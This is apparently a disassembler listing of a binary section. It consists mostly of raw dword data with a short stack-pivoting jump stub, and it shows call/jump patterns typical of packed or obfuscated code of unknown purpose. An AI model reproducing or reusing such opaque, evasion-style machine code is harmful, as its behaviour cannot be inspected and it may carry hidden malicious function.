		dd 0DAA59E2h, 0EF87B52Bh, 132089D3h, 0B9F28324h, 45264017h
		dd 0B5E823FDh, 75F718h,	8FBE0000h, 0AEDB5570h, 214FEC03h
		dd 4A7176Fh, 62BEED2Ah,	0CAF823h, 3B153663h, 0D59FCD00h
		dd 29657E38h, 27561C32h, 8DCC0B24h, 0B96A3462h,	801DC17Fh
		dd 62FA289Eh, 13205960h, 48F666A2h, 13205906h, 82B01288h
		dd 621084BEh, 1320591Ch, 9CCA2CA2h, 6A3441B8h, 54906A03h
		dd 5DBFEE2Bh, 6BFD162Fh, 7AC554Ch, 0A2D308A5h, 26304709h
		dd 0D25945h, 0C21F0000h, 479D0688h, 9B0A4CFAh, 1E9416C9h
		dd 0C92C626Dh, 16DC4C0Dh, 82E4464Bh, 27529054h,	0B56C5584h
		dd 96C4F330h, 0F3F81BCCh, 8145FD9Ah, 22E61447h,	6B98B5E8h
		dd 39E75391h, 16C95F75h, 73A10379h, 0B9520CA9h,	0F916C952h
		dd 896F8CBFh, 0B7E6224Fh, 0BA5DBF89h, 4977A2E0h, 132AE27Fh
		dd 0E51451BBh, 0E88BEDB7h, 31B1813Ah, 425FD51Ch, 9E41B109h
		dd 0C6F7EEF0h, 0BAB7019h, 0D4C79A02h, 0B6903395h, 4A304D78h
		dd 62B0E10Ch, 0F16F7216h, 112B3DF9h, 11510000h,	0ABE7CDEAh
		dd 3C795F7Ch, 0CF0AF00Dh, 5B997F9Ch, 0D30F1330h, 617EA9E7h
		dd 0F6133A7Bh, 89A6D110h, 193669A3h, 0F9BD6B4Ch, 51326BAh
		dd 84C2CEACh, 350F3C59h, 482ECBF6h, 90BEDB0Eh, 3467A17Bh
		dd 669F3C06h, 4DFB9E0Eh, 1C322954h, 0D3518D67h,	5453CBE0h
		dd 6694F6A2h, 0A71DFF9Ch, 0C8E92A04h, 5DFA5C8Bh, 0FF350DA5h
		dd 0A1421320h, 3209D7D4h, 0F9274526h, 0ED000000h, 0DECA4C7Bh
		dd 23B7B29h, 4DC316C9h,	0E42E309Ch, 0F4276147h,	47042251h
		dd 1345A495h, 7CF7A684h, 1FBC1E12h, 44825C67h, 58967C19h
		dd 9267FF2Dh, 9916C95Bh, 5584CA78h, 940A16C9h, 0A4D711F7h
		dd 0BFE62701h, 832AC791h, 0C7873556h, 0C716C955h, 8DB4F551h
		dd 12F8955Fh, 6C77A5D8h, 89265592h, 0E588F850h,	555016C4h
		dd 0E85E16C9h, 0DB701E4Bh, 0D01C31B8h, 76BD01AFh, 0CB411320h
		dd 0A0DC4C2Eh, 17794371h, 0F969C1FAh, 0E915A856h, 0E75D19C6h
		dd 0E492344h, 4977A2E1h, 9A801D7Fh, 2E14315Ch, 4C94C5F0h
		dd 1B6F718Fh, 10036723h, 0E9290000h, 83BFA5C2h,	14513754h
		dd 0A7E2C8E5h, 33715774h, 0FBE7EB08h, 395681BFh, 0CEEB1253h
		dd 617EA9E8h, 0F10E417Bh, 0D1954324h, 0DD1326BBh, 84C2A684h
		dd 0EE0F3C59h, 0C91A7E40h, 6D0A8016h, 771A4D87h, 7355C9Dh
		dd 0CBF9A03Dh, 275588C2h, 0D9F62963h, 6497D2ACh, 75A4E1C7h
		dd 16498347h, 0B7F2CCF9h, 1C3E784h, 57FA6AC2h, 321C44A9h
		dd 0E5148A1Ch, 0A607724Fh, 75E53D6Bh, 134F24D2h, 2197EE51h
		dd 3C63A47Eh, 0EFA7440Eh, 0A2C90AE4h, 474CC05h,	71DCB361h
		dd 0B026EBBFh, 77F9330Dh, 0DD828CCBh, 194081A9h, 5DBF21EBh
		dd 0ED205A40h, 0E0162BCh, 3DF9F17Dh, 0F49h, 0EB082F6Fh
		dd 7D9AC905h, 0E2B5A97h, 9DBAED28h, 314E79B7h, 0BFFDB52Dh
		dd 50917794h, 0E7260C29h, 7FB99FBCh, 81622F4Ch,	26B893D3h
		dd 0E4C21B13h, 820688C2h, 243DDB30h, 0B8CFFD5Fh, 9F4DF060h
		dd 1C310EBEh, 48A13B00h, 0DD8D3F24h, 0CD255E7Bh, 0A70CBA5Dh
		dd 0FF19DB1Ch, 76505B89h, 18DC0A39h, 0B680AED9h, 5C5CA354h
		dd 0A444F6EFh, 0A8754D07h, 0E18216C9h, 65491794h, 626740CFh
		dd 2E000000h, 0FC8F51FFh, 0C360123Ch, 0A7176F95h, 5C395604h
		dd 0B3A1C32h, 0CFF9FEAAh, 98DE8C96h, 26132005h,	0CFB14EB0h
		dd 9DDCB659h, 7285572h,	20051559h, 80239913h, 20058CD2h
		dd 0FF9C1213h, 20050345h, 0D5498313h, 20056727h, 8FF16713h
		dd 2E6B4572h, 0D30DD1FFh, 0BBA13EA0h, 6723517Ch, 0E69h
		dd 0A7176FA7h, 0ABDF5604h, 0ED631C33h, 336704Ah, 93C600E6h
		dd 8B395A65h, 132684CBh, 3AC5DD3h, 0F2B4A21Ah, 267EB754h
		dd 0CD6513B6h, 1919DCE9h, 0EC2600A3h, 7CB69CB9h, 90CCA649h
		dd 0CC693361h, 35A5FD14h, 0C56FE492h, 32F71C32h, 0C75FD9EEh
		dd 2339534h, 698AE4AEh,	0AEDA9A1h, 3000000Eh, 0C6ACC9F0h
		dd 583E5B8Ah, 0E9CFEC1Bh, 785E7BAEh, 0EEF20F3Ah, 5580BEF4h
		dd 0EA115238h, 7DA8E7CDh, 0D407A60h, 944223F0h,	1326B9D2h
		dd 0EEA583DCh, 16C91AD4h, 0A3CE0DE7h, 0B75CD06h, 98A4ED0h
		dd 0E75F8563h, 5F802385h, 0EF1D4485h, 7CCE8825h, 0BA1C3335h
		dd 550FE6F5h, 142161Eh,	80E2ACDAh, 0FB6F2FDDh, 0F96F1326h
		dd 0E01AF497h, 70AA90ADh, 956B9A3Dh, 8975B830h,	0ABC27A17h
		dd 6640E353h, 9BC60425h, 4E6F9C39h, 9E0C2F1Fh, 7C193243h
		dd 0DE029DC2h, 3A6BE119h, 6F6D9994h, 661FDBD3h,	8C00000Dh
		dd 2208254Ch, 0B49AB7E6h, 452B4877h, 0D4BAD70Ah, 4A4E6B96h
		dd 0B9E42298h, 4E75B69Ch, 0E10C4B31h, 71A4DEC4h, 0F8A68754h
		dd 1326BEB6h, 7B01DF38h, 0F93A67A1h, 78DAA4D2h,	0FDE3804Ah
		dd 9E6290C3h, 3F033164h, 0E2A6D403h, 824674A7h,	0B8071746h
		dd 0A2B9E1BDh, 1A93D381h, 0A51B16C9h, 0BBA2D308h, 0D774A7E1h
		dd 0CFD328F8h, 7354840h, 6F0E0000h, 0E304A717h,	6AA4CD09h
		dd 0DD3F0937h, 0AD818640h, 178D1C33h, 0A5BC4574h, 0F82B5A8Bh
		dd 330D2E5Bh, 482ECBF2h, 91BEDB0Eh, 0AC497CB7h,	2B598CC6h
		dd 2677AF93h, 0DD5D8C13h
		dd 0CA8C3A4Bh, 0D41326D7h, 4ABCAD5Eh, 0BF146C0Bh, 33955687h
		dd 95055D96h, 2E6344F2h, 35AB19DEh, 6D6D4404h, 0FFBBB36Fh
		dd 0C91h, 335077B7h, 0C5E2114Dh, 5673A2DFh, 0E5023570h
		dd 7996C1FFh, 7456D75h,	98D9BFDCh, 2F6E5471h, 0C701E704h
		dd 0C9AA7794h, 26BF5B1Bh, 2C0A6313h, 0EAAC5A7Bh, 0F416C91Ah
		dd 0C1FBE17Eh, 3DEB5394h, 16C91A79h, 7FAD0F85h,	612553B5h
		dd 4105B327h, 4D16C91Ah, 0F8D275D7h, 37EF8CBBh,	70ED88A7h
		dd 1CC2CD41h, 8320E07Ch, 0CF82FCA4h, 65DF440h, 0EEBA0000h
		dd 16C91AD4h, 701383DBh, 902D5896h, 0ACF0B563h,	39FE1C33h
		dd 33F4E555h, 4CEF51C4h, 0E514512Bh, 0F5286248h, 577CABD8h
		dd 7E9BF6DEh, 447E6401h, 4AACDB17h, 3DAD051Ch, 45CBEC9Ah
		dd 9D1319DEh, 6DD2BA6Ch, 6521196Fh, 0BD1h, 7390B7F7h, 522518Dh
		dd 96B3E21Fh, 254275B0h, 0B9D6013Fh, 47852DB5h,	0D819FF1Ch
		dd 6FAE94B1h, 7412744h,	9EAB7D4h, 26BF1B5Bh, 6C4AA313h
		dd 661488C2h, 16C91A20h, 0A8D638AEh, 5C36AAE4h,	0FEC0F01Fh
		dd 16C91Ah, 36FA288Ah, 0D69AC8FBh, 0C73F6D98h, 79A1FD78h
		dd 0C0901B5Ah, 0E040CFD3h, 5ABh, 66176FA6h, 0C91AF6B8h
		dd 0A033F816h, 0BEA51345h, 0A30567h, 4E10BEDFh,	4C16C960h
		dd 0EAB4E20Dh, 0C57F1C92h, 1C33D69Bh, 2C06A91Fh, 0BCA2BFF2h
		dd 0C9F80082h, 103E6DAAh, 192B9546h, 12EC8FF1h,	0F5B967D3h
		dd 0F91326CDh, 29F32183h, 63CD48Ch, 291326CDh, 10BE61D1h
		dd 19DE2B2Fh, 3CC8F96Fh, 836F6D70h, 0B03CF8Bh, 0E9290000h
		dd 83BFA5C2h, 14513754h, 0A7E2C8E5h, 33715774h,	0FBE7EB08h
		dd 395681BFh, 0CEEB1253h, 617EA9E8h, 0F10E417Bh, 0D1954324h
		dd 0DD1326BCh, 88C2A684h, 29632755h, 2C8EC1FCh,	4372AF89h
		dd 3F5EEEA6h, 0D3AB7536h, 0F4C540CFh, 8B000004h, 0C91AA9EEh
		dd 1686DE16h, 0AD36C573h, 2311C33h, 0C3A50E54h,	2A0CA9F8h
		dd 0C1F011B4h, 49F7A61Ah, 13261A05h, 26621389h,	0C3A9466Ah
		dd 53395689h, 0A1B8E619h, 8836D949h, 19DDB547h,	6A9DD747h
		dd 0BD5519C7h, 0E35916CFh, 0C2B25081h, 29216F6Dh, 0A606Dh
		dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h
		dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h
		dd 0BDA4EA98h, 0D12A1326h, 5588C2F3h, 0F6296327h, 0FC79D8C8h
		dd 1E3B6EA8h, 0ABDA17F1h, 0D7612F0Eh, 867F40CFh, 46000001h
		dd 6401306Ch, 5588C236h, 0F6296327h, 96D2ACD9h,	0D402316Dh
		dd 0B07AA80Ah, 0D182DA13h, 0C91A6323h, 93F56B16h, 23B542F0h
		dd 43B91C32h, 5D88C6A0h, 14C2652Fh, 13200C52h, 9149E65Ch
		dd 200CC9F9h, 0E88D2E13h, 26C51DC3h, 2E1345h, 7BD90000h
		dd 8A34BB4Ch, 0E68336D5h, 42E555ADh, 322B8F94h,	5381F71Ch
		dd 5306E48h, 994AE68h, 42E31320h, 0C4A87833h, 0E8C84526h
		dd 8E000000h, 3A1488C2h, 0DAA4D2F9h, 0C91AE4AAh, 1274EA16h
		dd 0C0FFD9E4h, 0FF2D609Bh, 5036D335h, 0F5B9E712h, 0B6E588BBh
		dd 97448C5h, 0F02F8BEFh, 0AC7028C5h, 0F5223F72h, 326026D4h
		dd 752316C9h, 16C93231h, 79EF47BDh, 0D75922DCh,	1F5916C8h
		dd 9543B7F2h, 16C919D1h, 0D70567DDh, 0E708AB0Dh, 70A0D30Dh
		dd 16C9192Eh, 0D20540B0h, 0DB78DAA4h, 33A3FB34h, 87F1E290h
		dd 0BF351C2Fh, 0D904421Ch, 6D98D6BCh, 88B4A43Ch, 0EFABA369h
		dd 909h, 0ABC8EF2Fh, 3D5A89C5h,	0CEEB1A57h, 5D7AADE8h
		dd 0F10E3977h, 7FBDF5EDh, 10513754h, 0A7E6CCE9h, 3F795F7Ch
		dd 4122EF0Ch, 26B2D393h, 0A482DB13h, 3C5984C2h,	0C8FB350Fh
		dd 0D4022D6Ch, 4D876D0Ah, 0B52756CBh, 0E596D8F0h, 6E8619B7h
		dd 8FAC0E58h, 0D3934162h, 0DB16C98Ch, 0C29AC865h, 83B25588h
		dd 74FCB5A9h, 0C5F02EEAh, 0CE6BCD97h, 0EB185216h, 1B4684B1h
		dd 5C3A57B9h, 2CBh, 0A7176F9Ch,	31D55604h, 0EB611C32h
		dd 21D25BDh, 0C15A1320h, 0E17EA9E7h, 3EE2C9ACh,	324526CFh
		dd 26Eh, 1AAFEEF8h, 84DC16C9h, 3AC37114h, 841C33ADh, 875F1FCDh
		dd 0E95F1326h, 0D00AE487h, 609A809Dh, 1AF4FF2Dh, 0B680AEDDh
		dd 1888E019h, 8B06C775h, 128819DDh, 6DCFF7E1h, 924E466Fh
		dd 829h, 0CBE80F4Fh, 5D7AA9E5h,	0EE0B3A77h, 7D9ACD08h
		dd 112E5997h, 9FDDD50Dh, 30715774h, 0C706EC09h,	5F997F9Ch
		dd 61420F2Ch, 26B3F3B3h, 0C4A2FB13h, 0B25588C2h, 0D16E99D8h
		dd 0F6340E19h, 0E482ECBh, 0AFE9ADDBh, 1AC98D3Bh, 5FD516C9h
		dd 0CC0BCFFDh, 0ACFB73A1h, 0EE4DD5C9h, 94B5D687h, 0C91AA0E6h
		dd 88B82E16h, 16C91AC6h, 0CFB552C8h, 0FB2E6895h, 0F39D7C99h
		dd 0ED40CFD7h, 1B2h, 5588C2B3h,	0A3E391B2h, 2B16C91Ah
		dd 556018B5h, 0E8F80534h, 3D2B1F4Fh, 0C97E490Dh, 42DF5516h
		dd 0C5A0225Ch, 7C33486Eh, 3354F759h, 0C9AFC185h, 0BA57CD16h
		dd 1282DA13h, 9634C16Fh, 0C43A1C32h, 0B9C4FE96h, 9A331320h
		dd 0B75483C0h, 906AF382h, 0A7862356h, 452670F9h, 0A9D011EBh
		dd 0F314B17Bh, 4Ch, 0A7176FB9h,	0CB09E304h, 0BA872A0h
		dd 32295051h, 53916B1Ch, 7F30FA28h, 9FB0FC9Dh, 0FEE07DD4h
		dd 0A3C4E588h, 204EB1F5h, 97C73D13h, 13204ED7h,	0CC461D7h
		dd 204E4E74h, 3610A913h, 0F62BC8FBh, 83642C7Fh,	0CE7C4526h
		dd 42000000h, 310688C2h, 6FA2DD68h, 0EBAF2DBEh,	21505B89h
		dd 3975E291h, 442E590Ah, 0ABE9CF6Ch, 0B6184B86h, 578AC488h
		dd 9441E29h, 195339D6h,	517FB2ECh, 0BEF12B87h, 4764C690h
		dd 0C9B9DC8Dh, 699CD616h, 4BBB134Ch, 7D9FAA8h, 0A1C21C2Fh
		dd 222FB3F3h, 22C53B13h, 222F3274h, 0A946BC13h,	0EF1657C7h
		dd 0F295F7C1h, 92AFDA18h, 12436EACh, 6989342Eh,	864D0901h
		dd 0AC000006h, 4228456Ch, 0D4BAD706h, 654B6897h, 0F4DAF72Ah
		dd 6A6E8BB6h, 0D9044278h, 6E95D6BCh, 12C6B51h, 91C4FEE4h
		dd 18C6A774h, 1326B156h, 0C221FF58h, 0F5205F84h, 0F89BFDC7h
		dd 7EB9E21Eh, 0F1531D4Bh, 0B55CF9C3h, 15975988h, 0F398976h
		dd 0AA4776B3h, 3A578AC4h, 5588C20Ch, 14D83B2h, 0D788BBF5h
		dd 318D4FCFh, 6F27C4F7h, 0D1954364h, 0DD16C9F3h, 0D5032E6Dh
		dd 260CA90Bh, 0E716B9ECh, 0E3AC6891h, 4DF491E1h, 3A6Fh
		dd 88C2AF00h, 421C2755h, 0DCA6D407h, 0EC1F593Fh, 0E88DB0BEh
		dd 0E0A65475h, 0EE16C91Ah, 0BBF5DB78h, 0CF0BE588h, 0BA872A0h
		dd 258664h, 0EDC70000h,	997331B3h, 9D62FFC2h, 0C2709E3Bh
		dd 0F6840688h, 9BDAFDD5h, 4E730B39h, 9516C94Eh,	114B591Ch
		dd 0C293C1DEh, 10275588h, 84A548B8h, 1AF1B563h,	8DFD16C9h
		dd 20BD1F52h, 33ABEF66h, 9BBC731Ch, 2684A9EDh, 8FBF3513h
		dd 132684CFh, 246A18CFh, 0AA132684h, 0CD70D234h, 4B8CB9F3h
		dd 5B8EC824h, 0BCF6DCF9h, 0EC445B89h, 0C4FFD97Ch, 4EF4FF42h
		dd 0D93B7A1Dh, 0F1610F3Ch, 3519DC1Eh, 29578AC5h, 805AFD5Fh
		dd 0ACDF1946h, 0AF52B47Eh, 477AB48Eh, 0C9345717h, 0A6E75716h
		dd 0D9801D7Fh, 99DD8BACh, 2516C934h, 0EB1253AFh, 0FB2E684Eh
		dd 0A7E8C2CDh, 52AAE380h, 701E3FE2h, 16C9342Eh,	9DDE3AB0h
		dd 0E17E4876h, 0C47293B4h, 16C93482h, 0E7A7550Ch, 0E716C934h
		dd 0B8720F71h, 1C32323Bh, 4D11BFE0h, 51132039h,	0E65C3EDBh
		dd 8B45BFB5h, 0DA968E69h, 4D9h,	7B98BFFFh, 0D2A5995h, 9EBBEA27h
		dd 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh, 0E0210724h
		dd 77B69CB9h, 0F492F4Ch, 11F2BFDCh, 26B62363h, 7452AB13h
		dd 1F5B88C2h, 44718EF0h, 0D2002B6Ah, 4B856B08h,	1A6529D7h
		dd 0F36916C9h, 659F6391h, 2400432h, 0A6E5A9D7h,	1ACA8C3Ah
		dd 5ED416C9h, 9DC0CEFCh, 0DF3EC6D8h, 0A7D40E96h, 410B396Ch
		dd 3DE3C2DFh, 3340CFD7h, 7Fh, 0A7176FF9h, 0C809E304h, 2D4A04A1h
		dd 261C325Ch, 54175705h, 27971320h, 0AC5DBFE6h,	0B2A8C405h
		dd 0DBBD5AA7h, 1B307624h, 48BE1320h, 482243E6h,	0EAACDC0Bh
		dd 0F413201Bh, 0DAB4E17Eh, 0C37769Bh, 164473B0h, 13CDEA4Ch
		dd 13201B51h, 0F9A71B55h, 13201BB5h, 0BE61C339h, 6281BE8Fh
		dd 3E49FA21h, 18BF5CD8h, 9AC8F332h, 3F4DEh, 34F01F00h
		dd 39E81936h, 115503A6h, 9D1320EDh, 0C25C8A27h,	0ED205B88h
		dd 5F995D8Bh, 7ED60F2Ch, 294A6B0Eh, 0C91A3B7Bh,	1D4DC316h
		dd 16C91A59h, 0BE00AE65h, 4016C91Ah, 9ECB68CAh,	322367F0h
		dd 4371E71Ch, 200C97ABh, 6D47E013h, 0AD40231h, 6E3D386Dh
		dd 4526C5A2h, 0FCF483B2h, 0FF385D47h, 444162h, 6F070000h
		dd 5604A717h, 1C32294Dh, 7933F4B9h, 11887302h, 4DD0CAFh
		dd 0EA1D585Fh, 147A0639h, 0DAB4BF77h, 0D4801F9Dh, 0E651340Bh
		dd 152DE784h, 62132090h, 86B1EFC9h, 0EAC1B4E9h,	45265D26h
		dd 0F03Ah, 88C20000h, 25632755h, 0CE08CCFAh, 6FA96D9Bh
		dd 74D60542h, 8BBAF7D1h, 4FF6935Dh, 0C9176495h,	4774AE16h
		dd 5F7CDE09h, 0AF7A0332h, 0BAC19CC9h, 0CAFD371Dh, 0BD2D859Ch
		dd 0B4BF91Ah, 9316C951h, 0A553801Dh, 1C325E08h,	96C3E056h
		dd 0F55180BCh, 905A88BBh, 0F862BAF3h, 265592BBh, 9ECC2EF8h
		dd 21CF72D4h, 19C6DF36h, 0F01D5731h, 832082B5h,	0AE882BA1h
		dd 10560470h, 9E16CBEDh, 0CE98C628h, 0C2E30431h, 0CBED5214h
		dd 23631116h, 0AB16CBEDh, 0CA67DD35h, 5E7BA6E4h, 0DE0F3A78h
		dd 6F71720Eh, 0A6AD6961h, 0CC000002h, 6248658Ch, 0F4DAF726h
		dd 856B88B7h, 14FA174Ah, 8A8EABD6h, 0F9246258h,	8EB5F6DCh
		dd 214C8B71h, 0B1E41E04h, 38E6C794h, 1326B476h,	7B411F78h
		dd 0AF5B5E4Ch, 7815FB67h, 0F12F5492h, 0FE608FCCh, 87A406D0h
		dd 173467A1h, 58176FE9h, 9FE89215h, 3B70AEA3h, 4A4E7728h
		dd 9947EA4Ch, 1C32C488h, 0C25A88FEh, 1320E680h,	8C1F56F7h
		dd 45262BC4h, 0BE2DA1D0h, 3D5B5F7Ch, 0CB7FA0h, 0C2450000h
		dd 63275588h, 2857FA25h, 0D2A4DA09h, 5D15B204h,	0C97334C5h
		dd 68163716h, 16C97D26h, 0AF9532A8h, 3F254275h,	8DA4D205h
		dd 7422C535h, 1C3272DBh, 5790AD23h, 0CBEC8FFFh,	64A879Ch
		dd 401474C5h, 2D530400h, 3E802E88h, 0C01320F1h,	914BE84Ah
		dd 19C66E85h, 96701389h, 0E3102D58h, 9DCC09h, 7AB7DC1Ah
		dd 81B4EF4Bh, 0B2CEE1Fh, 2B236F72h, 1B06Fh, 6F96D600h
		dd 1306C52h, 92C1FEE4h,	21548F75h, 0B5E01E04h, 644E9498h
		dd 0F8DEFB26h, 8D7390B7h, 2006234Eh, 0C996B3E6h, 0B5743AE8h
		dd 217A1326h, 5F84C243h, 0FAC4F225h, 5B957B98h,	0EEC11FD9h
		dd 771AE262h, 0C95485C9h, 31930916h, 0D00DE714h, 0CA973A1h
		dd 5588C2DEh, 0F6296327h, 0C2843253h, 8116C91Ah, 0C91A93D3h
		dd 4DA51B16h, 133A7BD7h, 0AFE9CF76h, 0C5FFD97Ch, 0E99A6492h
		dd 6C4C13FDh, 0BB7310C4h, 39DC4CA4h, 0D6FD3E18h, 253E7F39h
		dd 4AC01C32h, 0EF1A581Ch, 92C1FDC1h, 60157464h,	2A4BC23Eh
		dd 0F00D407Ah, 4CEF5FB7h, 0D8E9499Eh, 0B1DF5519h, 5280B3EDh
		dd 0FD542144h, 0E49235A5h, 1C31CD33h, 422845BBh, 0E3A7D508h
		dd 674B79A4h, 0E51F85F0h, 40EE0FB2h, 1320057Eh,	0A2D51080h
		dd 0C3FCA340h, 3758FB6Bh, 3B1215Dh, 13200543h, 4573D54Bh
		dd 6324DE7Bh, 6B19DB35h, 0C903C7F5h, 0D846896h,	2791E968h
		dd 0B75ABCEBh, 15A6E896h, 0B22816C9h, 753AE815h, 2E1C3225h
		dd 0AEEF1854h, 2D8F5987h, 9BD935FFh, 7BF1D370h,	5DCD255Eh
		dd 0B49D0CBAh, 2B5A19DAh, 1FAD711Eh, 0DEB5AE73h, 0EDA6B263h
		dd 71E7C966h, 12457F43h, 0A2D50FF5h, 0EC24DC74h, 0FD2013E2h
		dd 70F22C78h, 0C51AF833h, 14319323h, 8DC7F42Eh,	0CAF81F60h
		dd 0A6709E00h, 31031AF5h, 84E61F28h, 24579256h,	0C5F832F6h
		dd 6598D397h, 99DC5337h, 63128905h, 0B7D40741h,	4473B08Ah
		dd 5487C1A7h, 434C82B1h, 248FA59Dh, 15F0835Dh, 88258757h
		dd 314D0h, 0A1540000h, 5B82C233h, 0FC2F692Dh, 0A0CB0ACEh
		dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h,	0D2013E02h
		dd 75A4E0A4h, 89508647h, 405E0h, 0E8830000h, 24048704h
		dd 2404895Ch, 5E0168h, 242C8900h, 81E78957h, 4C7h, 4EF8300h
		dd 5C243C87h, 50240C89h, 0A6678B8h, 25D0F71Dh, 75947FF2h
		dd 0FB1C7A25h, 86F4356Bh, 8150657Fh, 75742404h,	815D0D0Ah
		dd 0A7574EDh, 8B54580Dh, 0C483240Ch, 0BE565004h, 8, 15EF089h
		dd 582889C8h, 51240C8Bh, 0C181E189h, 4,	8704C183h, 8B5C240Ch
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		dw 4254h
		dd 0B808AD55h, 5EFB1C1h, 0E0FFC503h, 84FC7FBh, 6CEB004Ah
		dd 3C33D80Fh, 7E7B5056h, 74AE750Eh, 5DF5B81Bh, 74009C36h
		dd 13990D16h, 6B30F348h, 4FBE3524h, 897B590h, 95D46AFh
		dd 24F5D731h, 1389567Ah, 42D1CDAAh, 7F488473h, 755872C0h
		dd 54AB1069h, 375D8652h, 1D841DF2h, 4663804Fh, 55ACE026h
		dd 518A7299h, 32CB1F7Bh, 15FE9h, 0D48B5200h, 0E860h, 815D0000h
		dd 0EFB2D5EDh, 8428B05h, 2638453Dh, 38850F78h, 8B000001h
		dd 4A8B0C42h, 0BBC8D318h, 4D0FB2D2h, 0E883C333h, 55858904h
		dd 8B05E926h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 931F69BEh
		dd 2BC633D2h, 0FCE083C7h, 8904E883h, 0E9080585h, 14428B05h
		dd 163D8589h, 428B05E9h, 0B0E95318h, 0FF000000h, 0E9326DB5h
		dd 0B9E905h, 0B5FF0000h, 5E9182Dh, 0AEE9h, 0D5B5FF00h
		dd 0E905E931h, 0A3h, 257DB5FFh,	98E905E9h, 0FF000000h
		dd 0E92F55B5h, 8DE905h,	0B5FF0000h, 5E92839h, 82E9h, 99B5FF00h
		dd 0E905E903h, 77h, 10E9B5FFh, 6CE905E9h, 0FF000000h, 0E903F5B5h
		dd 61E905h, 0B5FF0000h,	5E90055h, 56E9h, 55B5FF00h, 0E905E923h
		dd 4Bh,	15DDB5FFh, 40E905E9h, 0FF000000h, 0E930EDB5h, 35E905h
		dd 0B5FF0000h, 5E91EE9h, 2AE9h,	0BDB5FF00h, 0E905E904h
		dd 1Fh,	321DB5FFh, 14E905E9h, 8B000000h, 0BB8D8h, 0F7660000h
		dd 368D8DE3h, 305EFB3h,	0FFE1FFC8h, 0E90BC595h,	858B5B05h
		dd 5E92655h, 0F045839h,	0F85h, 16A5300h, 1E9595FFh, 0E95B05E9h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 3A5858Bh
		dd 8D8D05E9h, 5EFB424h,	8B014189h, 8E8C3h, 0C5810000h
		dd 37B0F705h, 0F3BA59BFh, 597D60E5h, 81FFBF0Fh,	5A95C1h
		dd 0F7F28000h, 0D081F633h, 13F3A428h, 600E34FFh, 0E902F780h
		dd 10h,	7F25A982h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 850F5B61h
		dd 5, 3295A1BFh, 4DEB8113h, 0E960771Ch,	5, 0C028F70Dh
		dd 98C381D4h, 0E9093D98h, 5, 3866570Dh,	82C381CFh, 0E874E083h
		dd 12h,	0B415F270h, 0ED8F9044h,	0F36A82C2h, 491C4A56h
		dd 895853A2h, 0BA53311Ch, 2CD463E5h, 0C8C0F5Fh,	0E9000000h
		dd 7, 0E5690D7Ah, 83657289h, 820F01EEh,	5, 1DA8166h, 4E4E4E5Ch
		dd 0CEB70F60h, 816107B3h, 0FFA650FEh, 59850FFFh, 0FFFFFFFh
		dd 1A82h, 148B0F00h, 0E8000000h, 0Eh, 6EC261A5h, 0A9FEF3F2h
		dd 5BAA12A9h, 0C65F54FBh, 0E90EE585h, 0DF685605h, 0FFA9C530h
		dd 0E91EFDB5h, 6F858D05h, 0FF05EC7Ah, 498D8DD0h, 5105E927h
		dd 0B5FF406Ah, 5E90DE9h, 569B5FFh, 0D0FF05E9h, 0DE9B5FFh
		dd 0B5FF05E9h, 5E90569h, 0EE8h,	1FD49900h, 1369B3DAh, 58361564h
		dd 5A0DCE4Ah, 4EA835Ah,	2242CC1h, 22424C1h, 0F7241403h
		dd 0FF33241Ch, 581734FFh, 819FE881h, 0C0810568h, 0EE2C274h
		dd 0BBAEF081h, 8F5032A8h, 0EF833A04h, 243C3B04h, 0FFDA850Fh
		dd 9D8DFFFFh, 5E92EB5h,	0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh
		dd 0E8C98B18h, 0Bh, 0EDC163A3h,	37113154h, 0F5431866h
		dd 10E95Bh, 38EC0000h, 0AA2E12E5h, 0C158D36Fh, 6E0F5214h
		dd 0C38172D5h, 697Fh, 0FFF8FF33h, 0BA661F34h, 0B45EE54Bh
		dd 26EE81CEh, 0B061471Ch, 4DC6815Dh, 813477A6h,	7EF6F6EEh
		dd 0DA81666Bh, 60566D69h, 5A5F5151h, 0EE8h, 40855D00h
		dd 228B979h, 0EA0B4CFAh, 8BDB2F31h, 8F615FD9h, 8B663B04h
		dd 0F2E981D6h, 8350C699h, 8C0F04EFh, 3,	81E1ED80h, 0FF972CFFh
		dd 0F850FFFh, 8A000000h, 19E9D3h, 732A0000h, 0A962A740h
		dd 0D68BBDC5h, 0FFFF86E9h, 0F2358FFh, 37AD0A09h, 0E8908792h
		dd 11h,	7DC0C703h, 95E0592h, 0A197CFCBh, 31A6A9A5h, 8B6660D3h
		dd 0CFB70FD6h, 0F6805861h, 0FC0816Bh, 0E900005Ch, 5, 3D61E6B0h
		dd 8BF62B10h, 300C8BF8h, 0B408D781h, 0E9817D9Bh, 7566FADBh
		dd 0DE9h, 89DF200h, 753736DAh, 1800B63Ch, 0E981D9CDh, 67A3EC06h
		dd 4820Fh, 0BF660000h, 0E981231Bh, 18F24AC1h, 10E9h, 0A6F3BA00h
		dd 0D71C02Bh, 46716B6Eh, 0E9AA5816h, 300C8976h,	13E9h
		dd 5C23F700h, 4F2AA7B8h, 0EED9B8CEh, 0F4673A6Dh, 402B2601h
		dd 0DB85BA66h, 0E804EE83h, 6, 630A1F44h, 0D38BADDEh, 0DCFE815Ah
		dd 0FFFFFA4h, 1685h, 6850F00h, 0F000000h, 81h, 25E900h
		dd 50FF0000h, 0E990B5A8h, 11h, 52799B89h, 28E4A662h, 0AEB50687h
		dd 439360FAh, 0FF47E925h, 0D784FFFFh, 0EB919D25h, 8, 71A51600h
		dd 4A1E958h, 0AC680000h, 0E905EFB8h, 0FFF9C867h, 0EFB95C68h
		dd 0C85DE905h, 7F68FFF9h, 0E905EFBAh, 0FFF9C853h, 9BB8DF1Fh
		dd 2D4A79B5h, 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h, 6FAD05DDh
		dd 412744h, 97D6BCD9h, 2F694F6Ch, 3112DFFCh, 26ADC383h
		dd 9472CB13h, 0B65984C2h, 44729DDCh, 6125DD7Ah,	90BBFA27h
